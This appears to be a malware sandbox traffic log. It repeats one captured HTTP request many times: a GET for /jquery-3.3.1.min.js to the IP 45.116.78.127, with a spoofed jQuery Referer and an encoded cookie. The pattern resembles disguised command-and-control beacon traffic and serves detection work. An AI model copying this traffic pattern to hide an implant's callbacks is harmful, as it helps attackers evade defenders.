Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
